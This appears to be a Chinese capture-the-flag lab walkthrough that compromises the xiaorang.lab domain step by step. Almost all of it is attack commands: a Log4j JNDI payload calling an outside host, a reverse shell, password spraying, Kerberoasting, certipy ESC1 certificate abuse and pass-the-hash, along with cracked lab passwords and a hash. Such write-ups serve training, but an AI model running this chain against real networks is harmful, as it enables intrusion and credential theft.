目录
flag1
fscan扫外网
访问8983端口,发现配置项有log4j
【vulhub】Log4j2:CVE-2021-44228漏洞复现_vulhub cve-2021-44228-CSDN博客
/solr/admin/collections?action=${jndi:ldap://z5o5w8.dnslog.cn}
dnslog测出可以打jndi
java -jar JNDIExploit.jar -i 124.222.136.33
反弹shell,sudo grc提权
flag2
切到/tmp目录wget下载fscan和frp,搭代理,扫内网
172.22.9.7 XIAORANG-DC
172.22.9.19 已拿下
172.22.9.26 DESKTOP-CBKTVMO
172.22.9.47 fileserver
fileserver可以smbclient直连上去
proxychains4 impacket-smbclient 172.22.9.47
拿到personnel.db和flag02.txt
flag3
用navicat打开personnel.db文件
一张导出为username.txt
一张导出为password.txt
处理一下导出文件内容的双引号
import sys
# 检查是否提供了文件名参数
if len(sys.argv) != 2:
print("Usage: python eraser.py <filename>")
sys.exit(1)
# 获取命令行参数中的文件名
filename = sys.argv[1]
# 读取文件内容
with open(filename, 'r', encoding='utf-8') as file:
content = file.read()
# 删除所有双引号
content = content.replace('"', '')
# 将处理后的内容写回原文件
with open(filename, 'w', encoding='utf-8') as file:
file.write(content)
print(f"所有双引号已删除,并将结果保存回 {filename}")
密码喷洒一下
proxychains4 crackmapexec smb 172.22.9.26 -u username.txt -p password.txt --continue-on-success
爆出来两个
xiaorang.lab\zhangjian:i9XDE02pLVf
xiaorang.lab\liupeng:fiAzGwEMgTY
两个rdp都失败了,flag2提示打SPN
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/liupeng:fiAzGwEMgTY
得到zhangxia和chenchen的密码哈希,分别hashcat爆一下
hashcat -a 0 -m 13100 hash.txt ./rockyou.txt
xiaorang.lab\zhangxia MyPass2@@6 xiaorang.lab\chenchen @Passw0rd@
再rdp连上去,发现什么都没有
查看证书情况
proxychains4 certipy-ad find -u 'zhangxia@xiaorang.lab' -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
改一下/etc/hosts,避免超时
利用 ESC1
proxychains4 certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'
拿到生成的administrator.pfx获取域管哈希
proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7
pth拿域管
proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26
type c:\users\administrator\flag\flag03.txt
flag4
proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7
atype c:\users\administrator\flag\flag04.txt